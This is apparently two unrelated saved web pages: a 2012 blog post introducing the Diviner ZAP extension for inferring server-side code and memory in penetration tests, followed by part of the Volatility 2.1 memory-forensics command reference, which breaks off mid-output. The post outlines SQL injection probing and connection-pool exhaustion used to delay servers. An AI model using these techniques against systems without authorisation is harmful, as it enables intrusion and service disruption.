**new** **concept** in hacking, but _I think I'll take the direct approach
with this one_ :

  

Using a **new technology** that relies on black box techniques, the **server-
side source code** of any application can be **stolen** , the **server side
memory** can be **mapped** , and so can the **data flow** of **server side
values**.

The technique is already implemented in a **new tool** , does **not** rely on
any **security exposures** , and works **regardless** of any existing
**security enhancements**.

  

No introductions, obscure concepts or murky waters. Just facts - Get Code, Get
Memory Map, No Security, Any Application.

  

_Let's assume for a moment that the proclamations are true - so how can this
information be used in penetration tests?_

__

_  
_

Although the posts in this blog were recently focused at automated scanning,
it's never too late to correct the faults. Any veteran knows that the focus of
any tester should always be the manual testing process, and this new
information**,** when properly presented to a tester**,** can
dramatically**enhance** the process of **_a manual penetration test_ :**

  * **__Optimization of the manual testing process__** \- allow the tester to make better decisions, faster and test entry points that are more likely to be vulnerable first.
  * **__Gaining Intel__** \- enable the tester to **understand** how a **certain page** / entry point **behaves** under various conditions, by viewing a representation of the server-side source code, memory and cross-entry-point processes.
  * **_Locate complex vulnerabilities_** \- locate leads for vulnerabilities that require access to **multiple entry points** , while overriding session and database values, with various perquisites and in extreme scenarios. Vulnerabilities that cannot be detected by automated tools, and are hard to locate even in manual assessments.
  * Think about it… viewing the server-side source code of any component… criteria or not, it's simply awesome.

  
  

In addition, if the information can be delivered in a standard format to a
black box web application scanner, it can enhance the coverage of the tool to
include potential events and behaviors that only occur under extreme or rare
conditions.

  

_And what enables us to gather this information using nothing but black box
techniques?_

__

_  
_

Well, I can only define it as... umm... **breadcrumbs**. Many tiny, seemingly
useless pieces of information.

  

So if having the ability to gain **Insight** into the server side, reducing
the time necessary to perform many types of tests and being able to locate
vulnerabilities that nobody else can detect without **sheer luck** is of any
interest to you, hang on a bit.

  

And just to make sure you're not losing track, here's one way to present it:

  

**_Activating Diviner's Clairvoyance feature - viewing a representation of the
server side code_**

<img src='img/Temp2_7371.png' width='640' height='454' />

**_  
_**

****

**_Viewing the Dynamic Server Memory & Processes Map Generated by Diviner_**

<img src='img/Temp2_7370.png' width='640' height='388' />

**_  
_**

**_  
_**

****

**_The Problem – The Limitations of Manual Pentesting_**

** __**

**__**

The process of **manual** penetration testing is a process of trial and error,
which is composed of event-triggering attempts, behavior analysis and
deduction;

  

Through a process of trial and error, the tester learns how a certain
application entry point responds to specific input, access patterns and
extreme conditions, locates behaviors that might be caused by potential
vulnerabilities, and verifies \(or rules out\) the existence of these
vulnerabilities through exploits, comparisons, etc.

  

Since there are **_dozens_** of potential **generic application-level
attacks** \(read the lists in OWASP, WASC and CWE if this number sounds
exaggerated\), excluding the use of scanners and fuzzers and with the
exception of very small applications, this process can only be manually
performed on **part** of the tested application entry points, and relies
heavily on experience, intuition, methodology and sometimes luck.

  

The point I am trying to make is this - currently, there is an **inefficient
use of time in the process of manual penetration testing**.

  

Don't jump to conclusions or take it personally... let me explain my
intention:

  

Even though efficient information gathering enables the tester to narrow the
list of tests that should be performed on each application, entry point, page
or parameter - it still includes a lot of tests to perform, often more than
the tester can do in the time allocated to the test.

  

Furthermore, since the most of the global information gathering processes rely
on information disclosure, passive information gathering and fingerprinting,
the tester needs to manually gather information on specific targets prior to
testing them, or perform the test "blindly", while relying on other
incentives.

  

Take **SQL injection** for example, one of the most common tests that
penetration testers attempt to perform. In order to truly be certain that a
certain location is \(or isn't\) vulnerable, the tester needs to receive
different kinds of feedback; Sometimes a visible or hidden error make the task
simple \(blablabla.SQLException\), Sometimes the tester needs to dig deeper
and detect content differentiation, or compare responses to inputs that
contain arithmetic or mathematical operations \(id=4-2 vs id=5-3\). When the
tested entry point does not provide any feedback, he might be required to use
payloads that are designed to delay the execution of SQL statements, and if an
exposure with a similar obscure behavior affects an offline process or an
indirectly affected backend server, he/she might even need to inject payloads
that execute an exploit that alters content \(risky\) or sends a notification
to external entities \(mail, ping, etc\).

  

Assuming the assessment method is a **black box assessment** , since there are
various types of databases and syntax injection contexts, the tester will need
to use a **lot** of payloads to truly verify the issue - in each field, and in
each location.

  

Scanners attempt to tackle this issue by performing various tests on a wide
range of targets, but conclude themselves whether or not the location is
vulnerable, and currently, are far from performing these tests in a sufficient
amount of extreme or complex scenarios.

  

Fuzzers on the other hand can store the different responses and behaviors of
multiple entry points, but don't provide out-of-the-box support for complex
processes or complex analysis methods, are usually not application-aware, and
present the information in a way that is hard to digest.

  

The problem, however, could be handled using another method:

Divination attacks, a crossbreed between automated testing and human
deduction, provide an alternate \(or complementary\) route:

  

Consider the methods required to detect the following complex vulnerability:

  

_" SQL injection vulnerability, in which the \*attack payload\* is injected
into a server variable in the \*registration phase\*, stored in the
\*database\*, but only affects the application in the \*event of writing an
exception into a database log\* \(the vulnerable code segment\), which only
occurs in a module that generates the \*monthly report\* for a user, which
requires \*authentication\*, while the log triggering exception requires the
user to \*directly access\* the last phase of a multiphase report generation
process while skipping the rest of the phases in the flow \(forceful
browsing\)."_

__

  

In other words, a vulnerability that affects the application indirectly, and
only when certain extreme scenarios occur.

  

Although talented \(or lucky\) lucky testers might be able to detect it in a
limited scope, it's unlikely that it will be detected by a black box automated
vulnerability scanner, passive security scanner, or any other black-box tool…
that is unless a certain process will make it possible…

  

**_Divination Attacks_**

** __**

**__**

When using the general term "Divination", this article refers to the following
interpretation:

  

**" Divination is the attempt to gain insight into a question or situation by
way of an occultic standardized process or ritual. Used in various forms for
thousands of years, diviners ascertain their interpretations of how a querent
should proceed by reading signs, events, or omens." \- **Wikipedia's
Definition for Divination.

  

For those of you that read this section first, and for those that got confused
from the introduction, please, let me clarify: I am **not** proposing to hire
the practitioners of witchcraft to participate in penetration tests.

  

I am however, proposing the following solution to the time management problem:

**Inspect the direct and indirect effect of each parameter, on each page, with
every possible sequence and under every possible condition, before deciding
which attack to perform, and where.**

****

**  
**

Since obtaining this information manually is not probable, the process needs
to be, at least in some aspects, automated.

  

And how can we obtain this information using an automated process?

  

**Execute Scenarios - > Isolate Behaviors -> Perform Verifications ->
Interpret -> GUI**

****

**  
**

Assume that interception proxy contains the following requests in its request
history:

<img src='img/Temp2_7367.png' width='400' height='113' />

  

In order to analyze the effect of a given input parameter on other entry
points \(and on the origin entry point\), we need to send a value to the
target parameter, and then access another entry point - in order to see the
effect \(for example, send a value in the username input parameter to request
4, and then access request 6 to see if there was any special effect\).

  

The process must be repeated for the next "exit point", while sending another
value \(identical or otherwise\) to the target parameter, prior to accessing
the "exit point".

  

<img src='img/Temp2_7368.png' width='640' height='388' />

  

The result of this analysis might change due to various factors, such as:

  * **_Authentication_ -** Authenticate before accessing the entry point, before accessing the "exit point" \(a.k.a target\), or not at all.
  * **_Multiple Sessions_** \- When an entry point responds by replacing the session identifier, the scenario could continue using the old session identifier \(assuming it was not invalidated\), or using the new one.
  * **_History Requirements_** – Certain entry points might require the execution of previous entry points using a shared session identifier. For example, testing a parameter sent to the fourth phase of a multiphase process might require access to previous entry points using the same session identifier, with, or without authentication.
  * **_Input Type_** \- The target "exit point" and "entry point" might respond differently to other types of input \(e.g. input with random values, valid values, invalid syntax characters, etc\).
  * **_Required Tokens_** – Certain behaviors might only occur when a required token is sent to the entry point \(or not sent to the entry point\) – for example, the existence of a timestamp or anti-CSRF token might affect each entry point in different ways.
  * **_Invalid Access_** – accessing pages **without** meeting their "requirements" might still generate a "beneficial" behavior – for example, accessing a page **without** a valid anti-CSRF token might trigger a response that reuses a server variable that can be affected, and thus, expose the entry point to attacks.

  
  

So in order to truly analyze the effect of the parameter on the various entry
points of the application, we need to try **everything** \(or at the very
least – try a lot of scenarios\), and we need to do it to as many input
parameters as possible, to as many entry/exit points as possible, and in
various scenarios.

  

Furthermore, the behavior itself might vary according to the scenario, input
and in-page logic: it can be input reflection, exception, a certain valid
response, time delay, content differentiation or anything else; the behaviors
that we are interested in are behaviors that can be **_traced back_** to a
certain process, memory allocation, potential issue or a specific line of
code.

  

**The information gathered in such a process will be composed of a _lot_ of
behaviors, which vary per page, per input, and per scenario.**

****

**  
**

These "behaviors" can then be presented to the tester in a simple, visual
form, which will enable him to decide which behaviors he should inspect
**manually**.

  

Don't get me wrong - I am not suggesting that we limit the inspection only to
the information presented by such a process - I'm merely stating that it is
**wise** to focus on this information **first** , and verify the various leads
it provides before using the hardcore manual approach. After using this
approach for some time, I can clearly state the following:

  

The information provided by the process, when used by a tester, can
**transform** even a very **complex vulnerability** into a **low hanging
fruit**.

  

And that's not all. The collection of behaviors can also be "converted" into
other useful forms, such as the ones presented in the following sections.

  

**_Source Code Divination_**

** __**

**__**

Source code divination is a new concept and approach \(can also be referred to
as source code fingerprinting\).

  

Think about it - we use fingerprinting techniques to identify web servers,
content management systems, operating systems, web application firewalls, and
more.

  

Why not use the same approach to identify specific lines of code? Why not use
it to detect **all** the lines of code, or at the very least, a large portion
of the server code?

  

Nearly all of us classify **source code disclosure** , or attacks that can
obtain the server source code as severe exposures \(at least to some extent\),
and claim in the reports that we provide to customers that attackers can
harness this information to enhance their attacks, learn about the system's
structure and identify potential flaws in it.

  

If a large portion of the application's source code could be obtained using
_accurate_ "fingerprinting", wouldn't that lead to the same result?

  

In order to explain how this information can be obtained, let's use an
example:

  

Connection pool exhaustion \(or consumption\) is one of the many forms of
application denial of service attacks. It occurs when an attacker
intentionally accesses an entry point \(page/web service, etc\) that requires
a database\* connection pool, using multiple threads – more threads the
maximum amount of connections in the pool. The attack will delay the responses
from entry points that rely on the pool, but won't affect entry points that
don't use it \(assuming the amount of threads don't affect other resources\).

  

Although this behavior is an exposure in its own right, it also leads to the
following conclusion:

  

It is highly likely that somewhere in the entry point's code, a connection is
obtained from a connection pool, and since in many cases, a connection pool is
a mechanism used to interact with databases, it's highly likely that the
source code is similar to the following \(jsp sample\):

  

**try \{** **Connection conn = DriverManager.getConnection\(…\);** **…** **\}
catch \(…\) \{…\}**  
---  
  

Of course – this connection pool might serve a different type of resource, but
using additional verifications we might be able to increase the level of
certainty – for example, identifying erroneous databases responses in the same
entry point, or even detecting certain exposures in other application entry
points.

  

The same approach can be used to convert other behaviors to the lines of code
that might have caused them, and since the previous process gathered a lot of
behaviors – these can be converted into a fair amount of code - pseudo code
that can be presented using any specific syntax, and enable the tester to
understand how a certain page behaves – prior to testing that page.

  

For example, input sent from one page \(the "source" page\), but reflected in
another \(the "target" page\) is **probably** shared through a session
variable, file or database field. The origin can be isolated by accessing the
target page using a **different** session identifier, but using the same
identical process used to access it before \(login, history, etc\) - with the
exception of the source page;

  

If the reflected input is not present in the target page, the probability for
the existence of the following lines of code in the source page and target
page increases:

  

Source Page:

**String input1 = request.getParameter\( "input1"\);**
**session.setAttribute\( "sessionValue1", input1 \);**  
---  
  

Target Page:

**out.println\(session.getAttribute\( "sessionValue1"\)\);**  
---  
  

If however, the reflected input would have been present at the verification
scenario, than the source code matching the pattern will probably include
database access, file access or static server variables – and specific aspects
of these behaviors can be isolated in turn \(insert statements are more likely
to exist in pages that rapidly increase in size, update statements in pages
with relatively static size and persistent changes, etc\).

At the end of the processes, after performing additional verifications and
tests, the options with the highest probability will be selected and presented
to the user.

  

And how will this code be sorted? Which lines will appear first?

  

Although the sorting problem has many solutions, one of the main solutions is
probably "delay-of-service" attacks \(yes, I said delay, not deny\).

  

Presented in the research "Temporal Session Race Conditions", these attacks
were originally meant to delay the execution of _specific_ lines of code, in
order to extend the lifespan of temporary session variables – but these
attacks can also be used to sort _some_**** of the code – by inspecting if
exceptions or conditional behaviors occur instead of the delay, before the
delay, after the delay or not at all.

  

For example, performing a connection pool exhaustion attack on a page while
simultaneously sending an error generating value to the same vulnerable page
will provide a potentially important piece of information – which code is
executed first: the code that attempts to obtain a connection from the pool,
or the code that is prone to the exception.

  

**_Note - Although this method isn't exactly "safe", it will probably enhance
the results more than other methods for sorting divined lines of code._**

**__**

**_  
_**

Like fingerprinting, this information might not be 100% accurate \(although it
can be **VERY** accurate, if the processes is performed properly and
thoroughly\), but can still be very beneficial for the purpose of the test –
just like other forms of fingerprinting.

  

I won't expand the subject of source code divination in this post \(I do have
plans to discuss it further in separate posts\), but it's already implemented
in the diviner extension that will be discussed in the following sections.

  

<img src='img/Temp2_7371.png' width='640' height='454' />

  

  

**_Memory Structure Divination and Cross Entry-Point Effects_**

** __**

**__**

In the previous process, we have discussed how an identified behavior \(such
as an exception or input reflection\) can be classified as persistent or
temporary – by reproducing the scenario that caused it using a different
session identifier, identical process, and without accessing the "entry point"
\(source page\). This process, alongside additional verifications allowed us
to conclude whether a behavior is persistent, temporary or something else.

  

Although not all the behaviors rely on specific variables that are stored in
the server side, some do, and from these behaviors we can conclude how and
where does the server stores some of the content.

By crossing the information obtained from interesting scenarios that were
discovered in the process, we can even **locate multiple entry points that
affect the same database tables, fields, session variables and static
variables,** and thus, construct a general structure of database tables and
session attributes**.**

****

**  
**

<img src='img/Temp2_7369.png' width='640' height='388' />

**  
**

It's key to understand that the process does not verify the existence of any
exposures or attempts to exploit any vulnerability; instead, it's simply uses
a method of deduction to attempt to present what's going on behind the scenes,
in order for this information to enhance the abilities of a tester, or a
scanner.

  

**_The Diviner Extension_**

** __**

**__**

During the last year, I collaborated with a number of individuals \(especially
with @Secure\_ET, various colleagues and the OWASP ZAP project\) so that these
ideas will not remain a theory… and after numerous late night brainstorming
sessions, various incarnations and a long development period – we have an
initial version that _works_ \(beta phase\).

  

The diviner platform – an active information gathering platform that
implements many of the previously described concepts, is implemented as a ZAP
proxy extension, and can be downloaded from the following address:

http://code.google.com/p/diviner/

  

It can already illustrate server side behaviors and processes, contains
features such as the task list/advisor which provide invaluable leads to
potential exposures, present a partial map of the server side memory, **and
present a partial representation of the server side code**.

  

The extension is deployed using a windows installer \(or in binary format for
other operating systems\), and requires java 1.7.x and ZAP 1.4.0.1 in order to
run properly.

  

Furthermore, since it attempts to identify behaviors that result from valid &
invalid scenarios, and can't guess what is valid on its own, it must be used
after a short manual crawling process that covers the important application
sections with **valid** values.

  

It was tested mostly on small scale applications \(100+- parameters, +-50\) –
including real-life applications, and although it will probably work on larger
applications \(it's **not** stuck in the database analysis process – be
patient\) – due to various optimizations \(and sacrifices\) we didn't yet make
– it's recommended not to exceed that size.

  

We can currently identify 20+- different lines of code, but have plans to
implement tests that identify other lines of code, some with high probability,
and some with absolute certainty.

  

We didn't yet implement features that sort the lines of code \(and thus,
currently rely on default positioning\), but plan on implementing them in the
future \(with restrictions that will prevent their use for actual denial/delay
of service attacks\).

  

We have many additional experimental features that aren't mature enough, but
are already working on refining them for the future versions.

  

We don't perform any form of automated vulnerability scanning, but plan on
exporting the interesting leads to a format that can be used by external
scanners to detect exposures in these abnormal scenarios.

Bottom line - It's not perfect yet, but it's already very useful, and can
already help testers locate exposures that can't be located using other means,
and make better decisions - quicker.

  

**_Acknowledgements_**

The diviner project was funded by Hacktics ASC.

The following individuals assisted me in various ways, and deserve
acknowledgment for their contribution:

  

Eran Tamari \(The lead developer\) - for the countless hours of development,
the sheer determination, and most of all, for being a true believer.

  

Simon Bennetts \(psiinon\) and Axel Neumann \- The projects leaders of the
OWASP Zed Attack Proxy \(ZAP\) project - for providing support, useful advice
and adjustments that made the creation of Diviner possible.

  

Liran Sheinbox \(Developer\) - Diviner's Payload Manager \(alpha\).

  

Alex Mor, Oren Ofer and Michal Goldstein \(Developers\) - for their
contribution to the development of Diviner's content differentiation analysis
features \(alpha\).

  

Alex Ganelis, Tsachi Itschak and Lior Suliman \(Developers\) - Diviner
Installer, ZAP Integration and various modifications.

  

Zafrir Grosman - material design.

  

The Flying Saucer Draught Emporium Bar at Houston, TX - for whatever substance
that triggered the inspiration.

# CommandReference21 - volatility - Example usage cases and output for
Volatility 2.1 commands - An advanced memory forensics framework - Google
Project Hosting

**Created:**| _8/7/2012 6:33:59 AM_  
---|---  
**Updated:**| _8/7/2012 6:33:59 AM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

CommandReference21 _Example usage cases and output for Volatility 2.1
commands_  
  
FeaturedUpdated Jul 10, 2012 by michael.hale@gmail.com This is the Command
Reference and plugin documentation for Volatility 2.1. It differs from the
original CommandReference in that where possible, 64 bit images will be used
for demonstration, it covers new plugins released with 2.1, and it describes
any major changes in plugin behavior and/or output since the previous
release.Please note that not all memory samples used in the demonstrations are
publicly available, but many of them are. For links to public test images, see
FAQ\#Are\_there\_any\_public\_memory\_samples\_available\_that\_I\_can\_use\_for.

  * Image Identification
  *     * imageinfo
    * kdbgscan
    * kprcscan
  * Processes and DLLs
  *     * pslist
    * pstree
    * psscan
    * psdispscan
    * dlllist
    * dlldump
    * handles
    * getsids
    * cmdscan
    * consoles
    * envars
    * verinfo
    * enumfunc
  * Process Memory
  *     * memmap
    * memdump
    * procmemdump
    * procexedump
    * vadinfo
    * vadwalk
    * vadtree
    * vaddump
  * Kernel Memory and Objects
  *     * modules
    * modscan
    * moddump
    * ssdt
    * driverscan
    * filescan
    * mutantscan
    * symlinkscan
    * thrdscan
  * Networking
  *     * connections
    * connscan
    * sockets
    * sockscan
    * netscan
  * Registry
  *     * hivescan
    * hivelist
    * printkey
    * hivedump
    * hashdump
    * lsadump
    * userassist
    * shimcache
  * Crash Dumps, Hibernation, and Conversion
  *     * crashinfo
    * hibinfo
    * imagecopy
    * raw2dmp
  * Malware and Rootkits
  *     * malfind
    * yarascan
    * svcscan
    * ldrmodules
    * impscan
    * apihooks
    * idt
    * gdt
    * threads
    * callbacks
    * driverirp
    * devicetree
    * psxview
    * timers
  * Miscellaneous
  *     * strings
    * volshell
    * bioskbd
    * patcher
    * pagecheck

#  Image Identification

##  imageinfo

For a high level summary of the memory sample you're analyzing, use the
imageinfo command. Most often this command is used to identify the operating
system, service pack, and hardware architecture \(32 or 64 bit\), but it also
contains other useful information such as the DTB address and time the sample
was collected.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw imageinfo  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Determining profile based on KDBG search...  
      
      
      
              Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64, Win2008R2SP1x64  
      
                         AS Layer1 : AMD64PagedMemory (Kernel AS)  
      
                         AS Layer2 : FileAddressSpace (/Users/Michael/Desktop/win7_trial_64bit.raw)  
      
                          PAE type : PAE  
      
                               DTB : 0x187000L  
      
                              KDBG : 0xf80002803070  
      
              Number of Processors : 1  
      
         Image Type (Service Pack) : 0  
      
                    KPCR for CPU 0 : 0xfffff80002804d00L  
      
                 KUSER_SHARED_DATA : 0xfffff78000000000L  
      
               Image date and time : 2012-02-22 11:29:02 UTC+0000  
      
         Image local date and time : 2012-02-22 03:29:02 -0800
[/code]

The imageinfo output tells you the suggested profile that you should pass as
the parameter to --profile=PROFILE when using other plugins. There may be more
than one profile suggestion if profiles are closely related. It also prints
the address of the KDBG \(short for `_KDDEBUGGER_DATA64`\) structure that will
be used by plugins like CommandReference21\#pslist and
CommandReference21\#modlist to find the process and module list heads,
respectively. In some cases, especially larger memory samples, there may be
multiple KDBG structures. Similarly, if there are multiple processors, you'll
see the KPCR address and CPU number for each one.Plugins automatically scan
for the KPCR and KDBG values when they need them. However, you can specify the
values directly for any plugin by providing --kpcr=ADDRESS or --kdbg=ADDRESS.
By supplying the profile and KDBG \(or failing that KPCR\) to other Volatility
commands, you'll get the most accurate and fastest results possible.

##  kdbgscan

As opposed to CommandReference21\#imageinfo which simply provides profile
suggestions, kdbgscan is designed to positively identify the correct profile
and the correct KDBG address \(if there happen to be multiple\). This plugin
scans for the KDBGHeader signatures linked to Volatility profiles and applies
sanity checks to reduce false positives. The verbosity of the output and
number of sanity checks that can be performed depends on whether Volatility
can find a DTB, so if you already know the correct profile \(or if you have a
profile suggestion from CommandReference21\#imageinfo\), then make sure you
use it.Here's an example scenario of when this plugin can be useful. You have
a memory sample that you believe to be Windows 2003 SP2 x64, but
CommandReference21\#pslist doesn't show any processes. The pslist plugin
relies on finding the process list head which is pointed to by KDBG. However,
the plugin takes the _first_ KDBG found in the memory sample, which is not
always the _best_ one. You may run into this problem if a KDBG with an invalid
PsActiveProcessHead pointer is found earlier in a sample \(i.e. at a lower
physical offset\) than the valid KDBG.Notice below how kdbgscan picks up two
KDBG structures: an invalid one \(with 0 processes and 0 modules\) is found
first at 0xf80001172cb0 and a valid one \(with 37 processes and 116 modules\)
is found next at 0xf80001175cf0. In order to "fix" CommandReference21\#pslist
for this sample, you would simply need to supply the --kdbg=0xf80001175cf0 to
the plist plugin.

[code]

    $ python vol.py -f Win2K3SP2x64-6f1bedec.vmem --profile=Win2003SP2x64 kdbgscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    **************************************************  
      
    Instantiating KDBG using: Kernel AS Win2003SP2x64 (5.2.3791 64bit)  
      
    Offset (V)                    : 0xf80001172cb0  
      
    Offset (P)                    : 0x1172cb0  
      
    KDBG owner tag check          : True  
      
    Profile suggestion (KDBGHeader): Win2003SP2x64  
      
    Version64                     : 0xf80001172c70 (Major: 15, Minor: 3790)  
      
    Service Pack (CmNtCSDVersion) : 0  
      
    Build string (NtBuildLab)     : T?  
      
    PsActiveProcessHead           : 0xfffff800011947f0 (0 processes)  
      
    PsLoadedModuleList            : 0xfffff80001197ac0 (0 modules)  
      
    KernelBase                    : 0xfffff80001000000 (Matches MZ: True)  
      
    Major (OptionalHeader)        : 5  
      
    Minor (OptionalHeader)        : 2  
      
      
      
    **************************************************  
      
    Instantiating KDBG using: Kernel AS Win2003SP2x64 (5.2.3791 64bit)  
      
    Offset (V)                    : 0xf80001175cf0  
      
    Offset (P)                    : 0x1175cf0  
      
    KDBG owner tag check          : True  
      
    Profile suggestion (KDBGHeader): Win2003SP2x64  
      
    Version64                     : 0xf80001175cb0 (Major: 15, Minor: 3790)  
      
    Service Pack (CmNtCSDVersion) : 2  
      
    Build string (NtBuildLab)     : 3790.srv03_sp2_rtm.070216-1710  
      
    PsActiveProcessHead           : 0xfffff800011977f0 (37 processes)  
      
    PsLoadedModuleList            : 0xfffff8000119aae0 (116 modules)  
      
    KernelBase                    : 0xfffff80001000000 (Matches MZ: True)  
      
    Major (OptionalHeader)        : 5  
      
    Minor (OptionalHeader)        : 2  
      
    KPCR                          : 0xfffff80001177000 (CPU 0)
[/code]

For more information on how KDBG structures are identified read Finding Kernel
Global Variables in Windows and Identifying Memory Images

##  kprcscan

Use this command to scan for potential KPCR structures by checking for the
self-referencing members as described by Finding Object Roots in Vista. On a
multi-core system, each processor has its own KPCR. Therefore, you'll see
details for each processor, including IDT and GDT address; current, idle, and
next threads; CPU number, vendor & speed; and CR3 value.

[code]

    $ python vol.py -f dang_win7_x64.raw --profile=Win7SP1x64 kpcrscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    **************************************************  
      
    Offset (V)                    : 0xf800029ead00  
      
    Offset (P)                    : 0x29ead00  
      
    KdVersionBlock                : 0x0  
      
    IDT                           : 0xfffff80000b95080  
      
    GDT                           : 0xfffff80000b95000  
      
    CurrentThread                 : 0xfffffa800cf694d0 TID 2148 (kd.exe:2964)  
      
    IdleThread                    : 0xfffff800029f8c40 TID 0 (Idle:0)  
      
    Details                       : CPU 0 (GenuineIntel @ 2128 MHz)  
      
    CR3/DTB                       : 0x1dcec000  
      
    **************************************************  
      
    Offset (V)                    : 0xf880009e7000  
      
    Offset (P)                    : 0x4d9e000  
      
    KdVersionBlock                : 0x0  
      
    IDT                           : 0xfffff880009f2540  
      
    GDT                           : 0xfffff880009f24c0  
      
    CurrentThread                 : 0xfffffa800cf694d0 TID 2148 (kd.exe:2964)  
      
    IdleThread                    : 0xfffff880009f1f40 TID 0 (Idle:0)  
      
    Details                       : CPU 1 (GenuineIntel @ 2220 MHz)  
      
    CR3/DTB                       : 0x1dcec000
[/code]

If the KdVersionBlock is not null, then it may be possible to find the
machine's KDBG address via the KPCR. In fact, the backup method of finding
KDBG used by plugins such as CommandReference21\#pslist is to leverage
kpcrscan and then call the KPCR.get\_kdbg\(\) API function.

#  Processes and DLLs

##  pslist

To list the processes of a system, use the pslist command. This walks the
doubly-linked list pointed to by PsActiveProcessHead and shows the offset,
process name, process ID, the parent process ID, number of threads, number of
handles, and date/time when the process started and exited. As of 2.1 it also
shows the Session ID and if the process is a Wow64 process \(it uses a 32 bit
address space on a 64 bit kernel\).This plugin does not detect hidden or
unlinked processes \(but CommandReference21\#psscan can do that\).If you see
processes with 0 threads, 0 handles, and/or a non-empty exit time, the process
may not actually still be active. For more information, see The Missing Active
in PsActiveProcessHead. Below, you'll notice regsvr32.exe has terminated even
though its still in the "active" list.Also note the two processes System and
smss.exe will not have a Session ID, because System starts before sessions are
established and smss.exe is the session manager itself.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 pslist  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                Exit                  
      
    ------------------ -------------------- ------ ------ ------ -------- ------ ------ -------------------- --------------------  
      
    0xfffffa80004b09e0 System                    4      0     78      489 ------      0 2012-02-22 19:58:20                        
      
    0xfffffa8000ce97f0 smss.exe                208      4      2       29 ------      0 2012-02-22 19:58:20                        
      
    0xfffffa8000c006c0 csrss.exe               296    288      9      385      0      0 2012-02-22 19:58:24                        
      
    0xfffffa8000c92300 wininit.exe             332    288      3       74      0      0 2012-02-22 19:58:30                        
      
    0xfffffa8000c06b30 csrss.exe               344    324      7      252      1      0 2012-02-22 19:58:30                        
      
    0xfffffa8000c80b30 winlogon.exe            372    324      5      136      1      0 2012-02-22 19:58:31                        
      
    0xfffffa8000c5eb30 services.exe            428    332      6      193      0      0 2012-02-22 19:58:32                        
      
    0xfffffa80011c5700 lsass.exe               444    332      6      557      0      0 2012-02-22 19:58:32                        
      
    0xfffffa8000ea31b0 lsm.exe                 452    332     10      133      0      0 2012-02-22 19:58:32                        
      
    0xfffffa8001296b30 svchost.exe             568    428     10      352      0      0 2012-02-22 19:58:34                        
      
    0xfffffa80012c3620 svchost.exe             628    428      6      247      0      0 2012-02-22 19:58:34                        
      
    0xfffffa8001325950 sppsvc.exe              816    428      5      154      0      0 2012-02-22 19:58:41                        
      
    0xfffffa80007b7960 svchost.exe             856    428     16      404      0      0 2012-02-22 19:58:43                        
      
    0xfffffa80007bb750 svchost.exe             880    428     34     1118      0      0 2012-02-22 19:58:43                        
      
    0xfffffa80007d09e0 svchost.exe             916    428     19      443      0      0 2012-02-22 19:58:43                        
      
    0xfffffa8000c64840 svchost.exe             348    428     14      338      0      0 2012-02-22 20:02:07                        
      
    0xfffffa8000c09630 svchost.exe             504    428     16      496      0      0 2012-02-22 20:02:07                        
      
    0xfffffa8000e86690 spoolsv.exe            1076    428     12      271      0      0 2012-02-22 20:02:10                        
      
    0xfffffa8000518b30 svchost.exe            1104    428     18      307      0      0 2012-02-22 20:02:10                        
      
    0xfffffa800094d960 wlms.exe               1264    428      4       43      0      0 2012-02-22 20:02:11                        
      
    0xfffffa8000995b30 svchost.exe            1736    428     12      200      0      0 2012-02-22 20:02:25                        
      
    0xfffffa8000aa0b30 SearchIndexer.         1800    428     12      757      0      0 2012-02-22 20:02:26                        
      
    0xfffffa8000aea630 taskhost.exe           1144    428      7      189      1      0 2012-02-22 20:02:41                        
      
    0xfffffa8000eafb30 dwm.exe                1476    856      3       71      1      0 2012-02-22 20:02:41                        
      
    0xfffffa80008f3420 explorer.exe           1652    840     21      760      1      0 2012-02-22 20:02:42                        
      
    0xfffffa8000c9a630 regsvr32.exe           1180   1652      0 --------      1      0 2012-02-22 20:03:05  2012-02-22 20:03:08   
      
    0xfffffa8000a03b30 rundll32.exe           2016    568      3       67      1      0 2012-02-22 20:03:16                        
      
    0xfffffa8000a4f630 svchost.exe            1432    428     12      350      0      0 2012-02-22 20:04:14                        
      
    0xfffffa8000999780 iexplore.exe           1892   1652     19      688      1      1 2012-02-22 11:26:12                        
      
    0xfffffa80010c9060 iexplore.exe           2820   1892     23      733      1      1 2012-02-22 11:26:15                        
      
    0xfffffa8001016060 DumpIt.exe             2860   1652      2       42      1      1 2012-02-22 11:28:59                        
      
    0xfffffa8000acab30 conhost.exe            2236    344      2       51      1      0 2012-02-22 11:28:59 
[/code]

By default, pslist shows virtual offsets for the EPROCESS but the physical
offset can be obtained with the -P switch:

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 pslist -P   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                Exit                  
      
    ------------------ -------------------- ------ ------ ------ -------- ------ ------ -------------------- --------------------  
      
    0x0000000017fef9e0 System                    4      0     78      489 ------      0 2012-02-22 19:58:20                        
      
    0x00000000176e97f0 smss.exe                208      4      2       29 ------      0 2012-02-22 19:58:20                        
      
    0x00000000176006c0 csrss.exe               296    288      9      385      0      0 2012-02-22 19:58:24                        
      
    0x0000000017692300 wininit.exe             332    288      3       74      0      0 2012-02-22 19:58:30                        
      
    0x0000000017606b30 csrss.exe               344    324      7      252      1      0 2012-02-22 19:58:30  
      
    ... 
[/code]

##  pstree

To view the process listing in tree form, use the pstree command. This
enumerates processes using the same technique as pslist, so it will also not
show hidden or unlinked processes. Child process are indicated using indention
and periods.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 pstree  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Name                                                  Pid   PPid   Thds   Hnds Time                  
      
    -------------------------------------------------- ------ ------ ------ ------ --------------------  
      
     0xfffffa80004b09e0:System                              4      0     78    489 2012-02-22 19:58:20   
      
    . 0xfffffa8000ce97f0:smss.exe                         208      4      2     29 2012-02-22 19:58:20   
      
     0xfffffa8000c006c0:csrss.exe                         296    288      9    385 2012-02-22 19:58:24   
      
